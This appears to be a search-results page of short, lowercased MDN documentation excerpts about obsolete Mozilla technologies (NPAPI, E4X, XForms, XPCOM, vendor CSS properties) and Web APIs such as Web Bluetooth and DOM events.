syntax #include <npapi.h> nperror npp_getvalue(void *instance, nppvariable variable, void *value); parameters the function has the following parameters: instance pointer to the plugin instance from which the value should come.
... variable variable for which the browser (caller) would like a value.
NPP_URLNotify - Archive of obsolete content
syntax #include <npapi.h> void npp_urlnotify(npp instance, const char* url, npreason reason, void* notifydata); parameters the function has the following parameters: instance pointer to the current plug-in instance.
... npres_user_break: user canceled stream directly by clicking the stop button or indirectly by some action such as deleting the instance or initiating higher-priority network operations.
NPP_Write - Archive of obsolete content
can be used to check stream progress or by range requests from npn_requestread.
...in a normal-mode stream., the parameter value increases as the each buffer is written.
NPPrintCallbackStruct - Archive of obsolete content
fp pointer to the file to which the plug-in should write its postscript data.
...the npprintcallbackstruct structure contains the file pointer to which the plug-in should write its postscript data.
NPString - Archive of obsolete content
syntax typedef struct _npstring { const nputf8 *utf8characters; uint32_t utf8length; } npstring; fields the data structure has the following fields: utf8characters an array of the utf-8 characters comprising the string.
... utf8length the number of bytes in the utf-8 string (not the number of characters).
Entity list - Archive of obsolete content
netscape's rss 0.91 uses a dtd which defines 96 additional named entities.
... (userland's rss 0.91 does not use this dtd.) entity decimal character rss version 0.90 n 0.91 r1 n 0.91 r3 u 0.91 0.92 0.93 0.94 1.0 2.0 á # á ✔ ✔ ✔ ?
Element - Archive of obsolete content
ArchiveRSSModuleSlashElement
rss slash module elements note: in the list of elements below the slash xml namespace prefix is used (since it is a popular choice).
...you are free to to choose your own prefix for this.
Element - Archive of obsolete content
rss well-formed web module elements note: in the list of elements below the wfw xml namespace prefix is used (since it is a popular choice).
...you are free to to choose your own prefix for this.
RSS - Archive of obsolete content
documentation why rss slash is popular - counting your comments charles iliya krempeaux talks about the rss slash module, why it is popular among some, and how it is used to give a count for your comments.
... why well-formed web rss module is popular - syndicating your comments charles iliya krempeaux talks about the rss well-formed web module, why it is popular among some, and how it is used to link to your comments.
SAX - Archive of obsolete content
'" + attributes.getvalue(i) + "'"); } print("startelement: namespace='" + uri + "', localname='" + localname + "', qname='" + qname + "', attributes={" + attrs.join(",") + "}"); }, endelement: function(uri, localname, qname) { print("endelement: namespace='" + uri + "', localname='" + localname + "', qname='" + qname + "'"); }, characters: function(value) { print("characters: " + value); }, processinginstruction: function(target, data) { print("processinginstruction: target='" + target + "', data='" + data + "'"); }, ignorablewhitespace: function(whitespace) { // don't care }, startprefixmapping: function(prefix, uri) { // don't care }, endprefixmapping: function(prefix) { ...
...// don't care }, // nsisupports queryinterface: function(iid) { if(!iid.equals(components.interfaces.nsisupports) && !iid.equals(components.interfaces.nsisaxcontenthandler)) throw components.results.ns_error_no_interface; return this; } }; start parsing the xml reader component can parse xml from a string, an nsiinputstream, or asynchronously via the nsistreamlistener interface.
The Basics of Web Services - Archive of obsolete content
web services exchange data from a server to a client, using an xml format to send requests, so both the server and the client can understand each other.
... a better way to understand a web service is to compare it to a html form communication with a server side script (such as php or asp) to post and send data.
UUID - Archive of obsolete content
uuid: universal unique identifier a uuid can be obtained by visiting http://www.famkruithof.net/uuid/uuidgen or by typing "firebot: uuid?" on irc.mozilla.org in a channel where nickname "firebot" is present.
... or you can also type "/query firebot uuid?" in any tab connected to the irc.mozilla.org (or, with chatzilla, "moznet") network.
Themes - Archive of obsolete content
archived theme documentation.
... building a themecommon firefox theme issues and solutionscreating a skin for firefoxuuidcontents.rdfinstall.rdfmaking sure your theme works with rtl localestheme changes in firefox 2theme changes in firefox 3theme changes in firefox 3.5theme changes in firefox 4 ...
-moz-binding - Archive of obsolete content
the -moz-binding css property is used by mozilla-based applications to attach an xbl binding to a dom element.
... syntax /* <url> value */ -moz-binding: url(http://www.example.org/xbl/htmlbindings.xml#checkbox); /* global values */ -moz-binding: inherited; -moz-binding: initial; -moz-binding: unset; values <url> the url for the xbl binding (including the fragment identifier).
-moz-text-blink - Archive of obsolete content
firefox, which was the only major browser supporting it, dropped support for this property in firefox 26.
...note that not blinking the text is one technique to satisfy checkpoint 3.3 of wai-uaag.
-ms-accelerator - Archive of obsolete content
an access key is a single character used as a keyboard shortcut for selecting an object.
... the user presses the alt key and holds it while pressing the character to move input focus to the object, and to invoke the default event associated with the object.
-ms-content-zoom-limit-max - Archive of obsolete content
remarks this property constrains the limit for touch zooming as well as values of the mscontentzoomfactor property.
... starting with windows 8.1, this property is also supported for touchpad interaction.
-ms-content-zoom-limit-min - Archive of obsolete content
remarks this property constrains the limit for touch zooming as well as values of the mscontentzoomfactor property.
... starting with windows 8.1, this property is also supported for touchpad interaction.
-ms-content-zoom-snap-type - Archive of obsolete content
snap-points can change the animation that runs when the user lifts his or her finger so that you can adjust where the content will stop.
... starting with windows 8.1, this property is also supported for touchpad interaction.
-ms-content-zoom-snap - Archive of obsolete content
initial valueas each of the properties of the shorthand:-ms-content-zoom-snap-type: none-ms-content-zoom-snap-points: snapinterval(0%, 100%)applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas each of the properties of the shorthand:-ms-content-zoom-snap-type: as specified-ms-content-zoom-snap-points: as specifiedanimation typediscrete syntax the -ms-content-zoom-snap shorthand property is specified as one or both of the following content zoom snap values, in order, separated by spaces.
... starting with windows 8.1, this property is also supported for touchpad interaction.
-ms-content-zooming - Archive of obsolete content
by default, zoom-enabled elements can be zoomed by the user via pinch-zoom.
... starting with windows 8.1, this property is also supported for touchpad interaction.
-ms-filter - Archive of obsolete content
warning: not to be confused with the standard filter property, as the two are fundamentally incompatible with each other.
... the filter mechanism is extensible and enables you to develop and add filters later.
-ms-ime-align - Archive of obsolete content
the -ms-ime-align css property is a microsoft extension aligning the input method editor (ime) candidate window box relative to the element on which the ime composition is active.
... in the case of -ms-ime-align: after, an ime might adjust the candidate window and keyboard input behavior to provide a better user experience, such as using a horizontal candidate list and allowing some keys to be sent to the app for suggestion list navigation.
-ms-scroll-snap-x - Archive of obsolete content
initial valueas each of the properties of the shorthand:-ms-scroll-snap-type: none-ms-scroll-snap-points-x: snapinterval(0px, 100%)applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas each of the properties of the shorthand:-ms-scroll-snap-type: as specified-ms-scroll-snap-points-x: as specifiedanimation typediscrete syntax values the -ms-scroll-snap-x shorthand property is specified as one or both of the following values, in order and separated by spaces.
... starting with windows 8.1, this property is also supported for mouse, keyboard, and touchpad interaction.
-ms-scroll-snap-y - Archive of obsolete content
initial valueas each of the properties of the shorthand:-ms-scroll-snap-type: none-ms-scroll-snap-points-y: snapinterval(0px, 100%)applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas each of the properties of the shorthand:-ms-scroll-snap-type: as specified-ms-scroll-snap-points-y: as specifiedanimation typediscrete syntax values the -ms-scroll-snap-y shorthand property is specified as one or both of the following values, in order and separated by spaces.
... starting with windows 8.1, this property is also supported for mouse, keyboard, and touchpad interaction.
:-moz-system-metric(images-in-menus) - Archive of obsolete content
the :-moz-system-metric(images-in-menus) css pseudo-class matches an element if the computer's user interface supports images in menus.
...to xul / chrome code).
:-moz-system-metric(mac-graphite-theme) - Archive of obsolete content
:-moz-system-metric(mac-graphite-theme) will match an element if the user has chosen the "graphite" appearance in the "appearance" prefpane of the mac os x system preferences.
...to xul / chrome code).
:-moz-system-metric(scrollbar-end-backward) - Archive of obsolete content
the :-moz-system-metric(scrollbar-end-backward) css pseudo-class will match an element if the computer's user interface includes a backward arrow button at the end of scrollbars.
...to xul / chrome code).
:-moz-system-metric(scrollbar-end-forward) - Archive of obsolete content
the :-moz-system-metric(scrollbar-end-forward) css pseudo-class will match an element if the computer's user interface includes a forward arrow button at the end of scrollbars.
...to xul / chrome code).
:-moz-system-metric(scrollbar-start-backward) - Archive of obsolete content
the :-moz-system-metric(scrollbar-start-backward) css pseudo-class will match an element if the computer's user interface includes a backward arrow button at the start of scrollbars.
...to xul / chrome code).
:-moz-system-metric(scrollbar-start-forward) - Archive of obsolete content
the :-moz-system-metric(scrollbar-start-forward) css pseudo-class will match an element if the computer's user interface includes a forward arrow button at the start of scrollbars.
...to xul / chrome code).
:-moz-system-metric(scrollbar-thumb-proportional) - Archive of obsolete content
the :-moz-system-metric(scrollbar-thumb-proportional) css pseudo-class will match an element if the computer's user interface uses proportional scrollbar thumbs; that is, the draggable thumb on the scrollbar resizes to indicate the relative size of the visible area of the document.
...to xul / chrome code).
:-moz-system-metric(windows-default-theme) - Archive of obsolete content
the :-moz-system-metric(windows-default-theme) css pseudo-class matches an element if the user is currently using one of the following themes in windows: luna, royale, zune, or aero (i.e., vista basic, vista standard, or aero glass).
...to xul / chrome code).
-moz-os-version - Archive of obsolete content
to xul / chrome code).
...this can be useful for adapting application skins and other chrome code depending on the user's operating system version.
Descendants and Filters - Archive of obsolete content
« previousnext » accessing descendants in many cases, the node that you're interested in is not the direct child of the top xml element.
...for instance var element = <pets> <dogs> <fido color="red"/> <spike color="blue"/> </dogs> </pets>; element..fido.@color = "green"; element..spike.@color = "purple"; changes the colors of both of our pet dogs.
Introduction - Archive of obsolete content
the most basic is appendchild var element1 = <foo/>; var element2 = <bar/>; element1.appendchild(element2); which produces exactly the xml document you'd expect <foo> <bar/> </foo> javascript variables the true power of e4x only begins to come to light, however, when the xml document can interact closely with other javascript.
...serializing one of the most powerful tools of e4x is its ability to serialize an entire xml document (or portion thereof) into a string with one simple call to .toxmlstring() var element1 = <foo/>; var element2 = <bar/>; element1.appendchild(element2); element1.toxmlstring(); this will print <foo> <bar/> </foo> calling tostring() will achieve the same effect in this case, though calling tostring() on an element with only text content will product the text content (e.g., <foo>abc</foo>.tostring(); will simply provide 'abc').
Namespaces - Archive of obsolete content
you can also change namespaces at any time, by repeating the statement.
... default xml namespace = "http://www.w3.org/1999/xhtml"; var a = <p>some text</p>; default xml namespace = "http://www.mozilla.org/keymaster/gat...re.is.only.xul"; var b = <label>more text</label>; a.appendchild(b); gives <p xmlns="http://www.w3.org/1999/xhtml"> some text <label xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul">more text</label> </p> name() using name() on an xml object returns a qname object (qualified name).
E4X Tutorial - Archive of obsolete content
it will be disabled by default for content in firefox 16, disabled by default for chrome in firefox 17, and removed in firefox 18.
... subjects introduction accessing xml children descendants and filters namespaces the global xml object see also e4x processing xml with e4x next » ...
Using JavaScript Generators in Firefox - Archive of obsolete content
warning: this technique works only in firefox, not ie, chrome, safari, etc.
... generators can be used to simplify asynchronous code in firefox by opting in to using javascript version 1.7 or later.
Iterator - Archive of obsolete content
the iterator function returns an object which implements legacy iterator protocol and iterates over enumerable properties of an object.
...iterator instance returns [property_name, property_value] array for each iteration if keyonly is falsy, otherwise, if keyonly is truthy, it returns property_name for each iteration.
Expression closures - Archive of obsolete content
can be omitted, in which case the function is anonymous.
... expression the expression which comprise the body of the function.
Legacy generator function - Archive of obsolete content
the legacy generator function was a spidermonkey-specific feature, which is removed in firefox 58+.
... statements the statements which comprise the body of the function.
ActiveXObject - Archive of obsolete content
for example, here are a few examples of values you may find there, depending on which programs are installed: excel.application excel.chart scripting.filesystemobject wscript.shell word.document important: activex objects may present security issues.
...for example, for the local intranet zone, you typically need to change a custom setting to "initialize and script activex controls not marked as safe for scripting." to identify members of an automation object that you can use in your code, you may need to use a com object browser, such as the ole/com object viewer, if no reference documentation is available for the automation object.
Enumerator - Archive of obsolete content
syntax enumobj = new enumerator([collection]) parameters enumobj the variable name to which the enumerator object is assigned.
... the enumerator object provides a way to access any member of a collection and behaves similarly to the for...each statement in vbscript.
Error.stackTraceLimit - Archive of obsolete content
the error.stacktracelimit property gets or sets the stack trace limit, which is equivalent to the number of error frames to display.
... try { var err = new error("my error"); error.stacktracelimit = 7; throw err; } catch(e) { document.write("error stack trace limit: ") document.write(error.stacktracelimit); } requirements supported in internet explorer 10 and in windows 8.x store apps.
VBArray.lbound - Archive of obsolete content
the dimension of the vbarray for which the lower bound index is wanted.
...the second part is javascript code that determines the number of dimensions in the safe array and the lower bound of each dimension.
VBArray.toArray - Archive of obsolete content
each successive dimension is appended to the end of the previous one.
... for example, a vbarray with three dimensions and three elements in each dimension is converted into a javascript array as follows: suppose the vbarray contains: (1, 2, 3), (4, 5, 6), (7, 8, 9).
VBArray.ubound - Archive of obsolete content
dimension optional the dimension of the vbarray for which the higher bound index is wanted.
...the second part is javascript code that determines the number of dimensions in the safe array and the upper bound of each dimension.
@if - Archive of obsolete content
remarks when you write an @if statement, you do not have to place each clause on a separate line.
... the @if statement is typically used to determine which text among several options should be used for text output.
@set - Archive of obsolete content
must be preceded by an "@" character at all times.
...nan can be checked for using the @if statement: @if (@newvar != @newvar) ...
New in JavaScript 1.7 - Archive of obsolete content
the following is a changelog for javascript 1.7.
...in html or xul code, use: <script type="application/javascript;version=1.7"></script> when using the javascript shell, you need to set the version you wish to use using the -version 170 switch on the command line or using the version() function: version(170); the features that require the use of the new keywords "yield" and "let" require you to specify version 1.7 because existing code might use those keywords as variable or function names.
ECMAScript 5 support in Mozilla - Archive of obsolete content
ecmascript 5.1, an older version of the standard upon which javascript is based, was approved in june 2011.
... string.trim() method, which trims whitespace from both ends of the string.
Object.getNotifier() - Archive of obsolete content
the object.getnotifer() method was used to create an object that allows to synthetically trigger a change, but has been deprecated and removed in browsers.
... description the notifier is used to trigger synthetic changes that will be observed by object.observe().
JavaPackage - Archive of obsolete content
a javaclass object is a reference to one of the classes in a package, such as netscape.javascript.jsobject.
... the javapackage and javaclass hierarchy reflect the java package and class hierarchy.
MSX Emulator (jsMSX) - Archive of obsolete content
since javascript currently is mostly an interpreted language in web browsers, it is at least an order of magnitude slower than other languages such as c and java.
...as you may have realized, many challenges on performance are faced when developing in javascript.
Sharp variables in JavaScript - Archive of obsolete content
scope sharp variables are only in scope in the statement in which they are defined.
... #1 = {}; // this doesn't do much since the sharp variable is out of scope immediately after a = #2 = {}; // slightly more useful since we retain a reference to the new object to reference the sharp variable, simply append another sharp (#) to the end of the variable name.
RFE to the Custom Controls Interfaces - Archive of obsolete content
you can refer to custom controls page to get familiar with custom controls mechanism.
...e have the following interfaces: nsixformsaccessors - serves to get/set the value of the instance data node that the xforms element is bound to as well as getting the various states of that node nsixformsdelegate - used to obtain the nsixformsaccessors interface nsixformsuiwidget - used by the xforms processor to update the value/state of an xforms element when its bound node's value/state is changed our current mechanism that allows authors to build custom controls assumes that the controls will be bound to instance nodes of simple content type.
RFE to the XForms API - Archive of obsolete content
ArchiveWebXFormsRFEXForms API
if you need some additional functionality that shouldn't be exposed from the xforms element directly, then you should think which interface of the xforms element is more appropriate to expose it.
...as an example, the nsixformsaccessors interface which allows a user to get/set the value of an instance node and get the state of an instance node, is exposed by the nsixformsdelegate interface using the accessors property.
XForms Label Element - Archive of obsolete content
every form control other than the output and choices elements must contain a label element.
...usually by underlining the accesskey character in the label text.
XForms Textarea Element - Archive of obsolete content
introduction serves to show/change multiline text (see the spec).
...characteristics analogous widgets are <xhtml:textarea/> and <xul:textbox multiline="true"/> if the incremental attribute has the value true, then the bound instance node is updated on every user input.
Describing microformats in JavaScript - Archive of obsolete content
microformat definition format the microformat definition must contain the following entries: mfversion specifies the version number of the microformat api to which the definition was written.
... property specifications each property in the properties structure is specified by its name, and may include additional attributes if the property so requires.
Displaying a graphic with audio samples - Archive of obsolete content
/head> <body> <audio id="audio-element" src="revolve.ogg" controls="true" style="width: 512px;"> </audio> <div><canvas id="fft" width="512" height="200"></canvas></div> <img id="mozlogo" style="display:none" src="mozilla2.png"></img> <script> var canvas = document.getelementbyid('fft'), ctx = canvas.getcontext('2d'), channels, rate, framebufferlength, fft; function loadedmetadata() { channels = audio.mozchannels; rate = audio.mozsamplerate; framebufferlength = audio.mozframebufferlength; fft = new fft(framebufferlength / channels, rate); } function audioavailable(event) { var fb = event.frameb...
...uffer, t = event.time, /* unused, but it's there */ signal = new float32array(fb.length / channels), magnitude; for (var i = 0, fbl = framebufferlength / 2; i < fbl; i++ ) { // assuming interlaced stereo channels, // need to split and merge into a stero-mix mono signal signal[i] = (fb[2*i] + fb[2*i+1]) / 2; } // clear the canvas before drawing spectrum ctx.fillstyle = "rgb(0,0,0)"; ctx.fillrect (0,0, canvas.width, canvas.height); ctx.fillstyle = "rgb(255,255,255)"; for (var i = 0; i < signal.length; i++ ) { // multiply spectrum by a zoom value magnitude = signal[i] * 1000; // draw rectangle bars for each frequency bin ctx.fil...
Web Standards - Archive of obsolete content
choosing standards compliance over proprietary practices in the development world, there is a need for standards because applications are designed across multiple development groups.
... the business benefits of web standards this article discusses how adhering to web standards, and leaving behind proprietary markup and technologies, can contribute to a company's business goals.
Cache - MDN Web Docs Glossary: Definitions of Web-related terms
a cache (web cache or http cache) is a component that stores http responses temporarily so that it can be used for subsequent http requests as long as it meets certain conditions.
... learn more general knowledge web cache on wikipedia ...
Information architecture - MDN Web Docs Glossary: Definitions of Web-related terms
information architecture, as applied to web design and development, is the practice of organizing the information / content / functionality of a web site so that it presents the best user experience it can, with information and services being easily usable and findable.
... learn more general knowledge information architecture on wikipedia ...
Chrome-only Events reference
this page lists events that are only available in gecko chrome code (and sometimes in other privileged circumstances, eg.
... mozbeforepaintgecko 2.0 adds a new method for performing javascript controlled animations that synchronize not only with one another, but also with css transitions and smil animations being performed within the same window.mozscrolledareachangedthe mozscrolledareachanged event is fired when the document view has been scrolled or resized.
Emscripten techniques
this page contains specific emscripten-related techniques.
...this article explains how to debug such problems.
PRUnichar
an unsigned 16-bit type, like char in java or the "characters" of a javascript string defined in /mozilla/xpcom/base/nscore.h.
... syntax #if defined(ns_win32) typedef wchar_t prunichar; #else typedef pruint16 prunichar; #endif ...
PR_DetachSharedMemory
syntax #include <prshm.h> nspr_api( prstatus ) pr_detachsharedmemory( prsharedmemory *shm, void *addr ); parameters the function has these parameters: shm the handle returned from pr_opensharedmemory.
... addr the address to which the shared memory segment is mapped.
PR_VersionCheck
syntax #include <prinit.h> prbool pr_versioncheck(const char *importedversion); parameter pr_versioncheck has one parameter: importedversion the version of the shared library being imported.
... description pr_versioncheck tests whether the version of the library being imported (importedversion) is compatible with the running version of the shared library.
IDispatch
js/src/xpconnect/idl/xpcidispatch.idlscriptable this interface is not to be used directly, it is to be used internally for xpconnect's idispatch support.
... inherits from: nsisupports last changed in gecko 1.7 ...
ChildCount
« nsiaccessible page summary number of accessible children.
... attribute long childcount; see also nsiaccessible.firstchild nsiaccessible.lastchild nsiaccessible.children nsiaccessible.getchildat() nsiaccessible.parent nsiaccessible.nextsibling nsiaccessible.previoussibling ...
FocusedChild
« nsiaccessible page summary focused accessible child of node.
... attribute nsiaccessible focusedchild; see also nsiaccessible.takefocus() ...
nsIAccessibleTextChangeEvent
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview boolean isinserted(); attributes attribute type description length unsigned long returns length of changed text.
... start long returns offset of changed text in accessible.
nsIChromeFrameMessageManager
content/base/public/nsimessagemanager.idlscriptable handles loading of content in a remote chrome frame.
... 1.0 66 introduced gecko 2.0 inherits from: nsiframemessagemanager last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void loadframescript(in astring aurl, in boolean aallowdelayedload); void removedelayedframescript(in astring aurl); methods loadframescript() loads a script into the remote frame.
nsIDiskCacheStreamInternal
netwerk/cache/nsidiskcachestreaminternal.idlscriptable please add a summary to this article.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void closeinternal(); methods closeinternal() we use this method internally to close nsdiskcacheoutputstream under the cache service lock.
nsIMsgSearchNotify
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchnotify.idl [scriptable, uuid(ca37784d-352b-4c39-8ccb-0abc1a93f681)] interface nsimsgsearchnotify : nsisupports { void onsearchhit(in nsimsgdbhdr header, in nsimsgfolder folder); // notification that a search has finished.
... void onsearchdone(in nsresult status); /* * until we can encode searches with a uri, this will be an * out-of-bound way to connect a set of search terms to a datasource */ /* * called when a new search begins */ void onnewsearch(); }; ...
nsISecurityCheckedComponent
caps/idl/nsisecuritycheckedcomponent.idlscriptable provides methods that let an xpcom component define custom rules for accessing it from potentially unprivileged code.
... inherits from: nsisupports last changed in gecko 1.7 capability strings in gecko, a "capability" is a string identifying a set of actions that code is allowed to perform.
nsISupportsChar
xpcom/ds/nsisupportsprimitives.idlscriptable this interface provides scriptable access for single character values (often used to store an ascii character).
... inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data char provides access to the native type represented by the object.
nsMsgSearchScope
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl [scriptable, uuid(6e893e59-af98-4f62-a326-0f00f32147cd)] interface nsmsgsearchscope { const nsmsgsearchscopevalue offlinemail = 0; const nsmsgsearchscopevalue offlinemailfilter = 1; const nsmsgsearchscopevalue onlinemail = 2; const nsmsgsearchscopevalue onlinemailfilter = 3; /// offline news, base table, no body or junk const nsmsgsearchscopevalue localnews = 4; const nsmsgsearchscopevalue news = 5; const nsmsgsearchscopevalue newsex = 6; const nsmsgsearchscopevalue ldap = 7; const nsmsgsearchscopevalue localab = 8; const nsmsgsearchscopevalue allsearchablegroups = 9; const nsmsgsearchscopevalue newsfilter = 10; const nsmsgsearchscopevalue localaband = 11; const nsmsgsearchscope...
...value ldapand = 12; // imap and news, searched using local headers const nsmsgsearchscopevalue onlinemanual = 13; /// local news + junk const nsmsgsearchscopevalue localnewsjunk = 14; /// local news + body const nsmsgsearchscopevalue localnewsbody = 15; /// local news + junk + body const nsmsgsearchscopevalue localnewsjunkbody = 16; }; ...
nsMsgViewCommandCheckState
the nsmsgviewcommandcheckstate interface contains constants used for command status in thunderbird.
... last changed in gecko 1.9 (firefox 3) constants name value description notused 0 checked 1 unchecked 2 ...
Bluetooth.onavailabilitychanged - Web APIs
the onavailabilitychanged property of the bluetooth interface is an eventhandler that processes availabilitychanged events that fire when the bluetooth system as a whole becomes available or unavailable to the user agent.
... syntax bluetooth.onavailabilitychanged = functionref; value functionref is the handler function to be called when the bluetooth availabilitychanged event fires.
BluetoothCharacteristicProperties.authenticatedSignedWrites - Web APIs
the authenticatedsignedwrites read-only property of the bluetoothcharacteristicproperties interface returns a boolean that is true if signed writing to the characteristic value is permitted.
... syntax var aboolean = bluetoothcharacteristicproperties.authenticatedsignedwrites; value a boolean.
BluetoothCharacteristicProperties.broadcast - Web APIs
the broadcast read-only property of the bluetoothcharacteristicproperties interface returns a boolean that is true if the broadcast of the characteristic value is permitted using the server characteristic configuration descriptor.
... syntax var aboolean = bluetoothcharacteristicproperties.broadcast; value a boolean.
BluetoothCharacteristicProperties.indicate - Web APIs
the indicate read-only property of the bluetoothcharacteristicproperties interface returns a boolean that is true if indications of the characteristic value with acknowledgement is permitted.
... syntax var aboolean = bluetoothcharacteristicproperties.indicate; value a boolean.
BluetoothCharacteristicProperties.notify - Web APIs
the notify read-only property of the bluetoothcharacteristicproperties interface returns a boolean that is true if notifications of the characteristic value without acknowledgement is permitted.
... syntax var aboolean = bluetoothcharacteristicproperties.notify; value a boolean.
BluetoothCharacteristicProperties.read - Web APIs
the read read-only property of the bluetoothcharacteristicproperties interface returns a boolean that is true if the reading of the characteristic value is permitted.
... syntax var aboolean = bluetoothcharacteristicproperties.read; value a boolean.
BluetoothCharacteristicProperties.reliableWrite - Web APIs
the reliablewrite read-only property of the bluetoothcharacteristicproperties interface returns a boolean that is true if reliable writes to the characteristic is permitted.
... syntax var aboolean = bluetoothcharacteristicproperties.reliablewrite; value a boolean specifications specification status comment web bluetooththe definition of 'reliablewrite' in that specification.
BluetoothCharacteristicProperties.writableAuxiliaries - Web APIs
the writableauxiliaries read-only property of the bluetoothcharacteristicproperties interface returns a boolean that is true if reliable writes to the characteristic descriptor is permitted.
... syntax var aboolean = bluetoothcharacteristicproperties.writableauxiliaries; value a boolean.
BluetoothCharacteristicProperties.write - Web APIs
the write read-only property of the bluetoothcharacteristicproperties interface returns a boolean that is true if the writing to the characteristic with response is permitted.
... syntax var aboolean = bluetoothcharacteristicproperties.write; value a boolean.
BluetoothCharacteristicProperties.writeWithoutResponse - Web APIs
the writewithoutresponse read-only property of the bluetoothcharacteristicproperties interface returns a boolean that is true if the writing to the characteristic without response is permitted.
... syntax var aboolean = bluetoothcharacteristicproperties.writewithoutresponse; value a boolean.
BluetoothRemoteGATTCharacteristic.getDescriptor() - Web APIs
the bluetoothremotegattcharacteristic.getdescriptor() method returns a promise that resolves to the first bluetoothgattdescriptor for a given descriptor uuid.
... syntax bluetoothremotegattcharacteristic.getdescriptor(bluetoothdescriptoruuid).then(function(bluetoothgattdescriptor) { ...
BluetoothRemoteGATTCharacteristic.getDescriptors() - Web APIs
the bluetoothremotegattcharacteristic.getdescriptors() method returns a promise that resolves to an array of all bluetoothgattdescriptor objects for a given descriptor uuid.
... syntax bluetoothremotegattcharacteristic.getdescriptors(bluetoothdescriptoruuid).then(function(bluetoothgattdescriptors[]) { ...
BluetoothRemoteGATTCharacteristic.properties - Web APIs
the bluetoothremotegattcharacteristic.properties read-only property returns a bluetoothcharacteristicproperties instance containing the properties of this characteristic.
... syntax var properties = bluetoothremotegattcharacteristic.properties returns the properties of this characteristic.
BluetoothRemoteGATTCharacteristic.readValue() - Web APIs
the bluetoothremotegattcharacteristic.readvalue() method returns a promise that resolves to a dataview holding a duplicate of the value property if it is available and supported.
... syntax bluetoothremotegattcharacteristic.readvalue().then(function(dataview) { ...
BluetoothRemoteGATTCharacteristic.service - Web APIs
the bluetoothremotegattcharacteristic.service read-only property returns the bluetoothgattservice this characteristic belongs to.
... syntax var bluetoothremotegattserviceinstance = bluetoothremotegattcharacteristic.service returns an instance bluetoothgattservice.
BluetoothRemoteGATTCharacteristic.stopNotifications() - Web APIs
the bluetoothremotegattcharacteristic.stopnotifications() method returns a promise to the bluetoothremotegattcharacteristic instance when there is no longer an active notification on it.
... syntax bluetoothremotegattcharacteristic.stopnotifications().then(function(bluetoothremotegattcharacteristic) { ...
BluetoothRemoteGATTCharacteristic.uuid - Web APIs
the bluetoothremotegattcharacteristic.uuid read-only property returns domstring containing the uuid of the characteristic, for example '00002a37-0000-1000-8000-00805f9b34fb' for the heart rate measurement characteristic.
... syntax var uuid = bluetoothremotegattcharacteristic.uuid returns a domstring.
BluetoothRemoteGATTCharacteristic.writeValue() - Web APIs
the bluetoothremotegattcharacteristic.writevalue() method sets the value property to the bytes contained in an arraybuffer and returns a promise.
... syntax bluetoothremotegattcharacteristic.writevalue(value).then(function() { ...
BroadcastChannel: messageerror event - Web APIs
the messageerror event is fired on a broadcastchannel object when a message arrives on the channel that can't be deserialized.
... bubbles no cancelable no interface messageevent event handler property onmessageerror examples this code uses addeventlistener to listen for messages and errors: const channel = new broadcastchannel('example-channel'); channel.addeventlistener('message', (event) => { received.textcontent = event.data; }); channel.addeventlistener('messageerror', (event) => { console.error(event); }); the same, but using the onmessage and onmessageerror event handler properties: const channel = new broadcastchannel('example-channel'); channel.onmessage = (event) => { received.textcontent = event.data; }; channel.onmessageerror = (event) => { console.log(event); }; specifications specification status html living st...
Document: pointerlockchange event - Web APIs
the pointerlockchange event is fired when the pointer is locked/unlocked.
... bubbles yes cancelable no interface event event handler property onpointerlockchange examples using addeventlistener(): document.addeventlistener('pointerlockchange', (event) => { console.log('pointer lock changed'); }); using the onpointerlockchange event handler property: document.onpointerlockchange = (event) => { console.log('pointer lock changed'); }; specifications specification status pointer lock candidate recommendation ...
Document: selectionchange event - Web APIs
the selectionchange event of the selection api is fired when the current text selection on a document is changed.
... bubbles no cancelable no interface event event handler property onselectionchange examples // addeventlistener version document.addeventlistener('selectionchange', () => { console.log(document.getselection()); }); // onselectionchange version document.onselectionchange = () => { console.log(document.getselection()); }; specifications specification status comment selection apithe definition of 'selectionchange' in that specification.
Element: MSManipulationStateChanged event - Web APIs
msmanipulationstatechanged fires when the state of an element being manipulated has changed (ie.
... examples // listen for panning state change events outerscroller.addeventlistener("msmanipulationstatechanged", function(e) { // check to see if they lifted while pulled to the top if (e.currentstate == ms_manipulation_state_inertia && outerscroller.scrolltop === 0) { refreshitemsasync(); } }); specifications not part of any specification.
Element: webkitmouseforcechanged event - Web APIs
the non-standard webkitmouseforcechanged event is fired by safari each time the amount of pressure changes on the trackpad/touchscreen.
... bubbles unknown cancelable unknown interface mouseevent webkitmouseforcechanged is a proprietary, webkit-specific event introduced by apple to support their force touch events feature.
HTMLAnchorElement.download - Web APIs
the htmlanchorelement.download property is a domstring indicating that the linked resource is intended to be downloaded rather than displayed in the browser.
... syntax var dnload = anchorelt.download; anchorelt.download = dnload; specifications specification status comment html living standardthe definition of 'download' in that specification.
HTMLFormElement.acceptCharset - Web APIs
the htmlformelement.acceptcharset property represents a list of the supported character encodings for the given <form> element.
... syntax var string = form.acceptcharset; form.acceptcharset = string; example inputs = document.forms['myform'].acceptcharset; specifications specification status comment html living standardthe definition of 'htmlformelement: acceptcharset' in that specification.
HashChangeEvent.newURL - Web APIs
the newurl read-only property of the hashchangeevent interface returns the new url to which the window is navigating.
... example window.addeventlistener('hashchange', function(event) { console.log('hash changed to ' + event.newurl); }); specifications specification status comment html living standardthe definition of 'hashchangeevent: newurl' in that specification.
HashChangeEvent.oldURL - Web APIs
the oldurl read-only property of the hashchangeevent interface returns the previous url from which the window was navigated.
... example window.addeventlistener('hashchange', function(event) { console.log('hash changed from ' + event.oldurl); }); specifications specification status comment html living standardthe definition of 'hashchangeevent: oldurl' in that specification.
MediaDevices: devicechange event - Web APIs
a devicechange event is sent to a mediadevices instance whenever a media device such as a camera, microphone, or speaker is connected to or removed from the system.
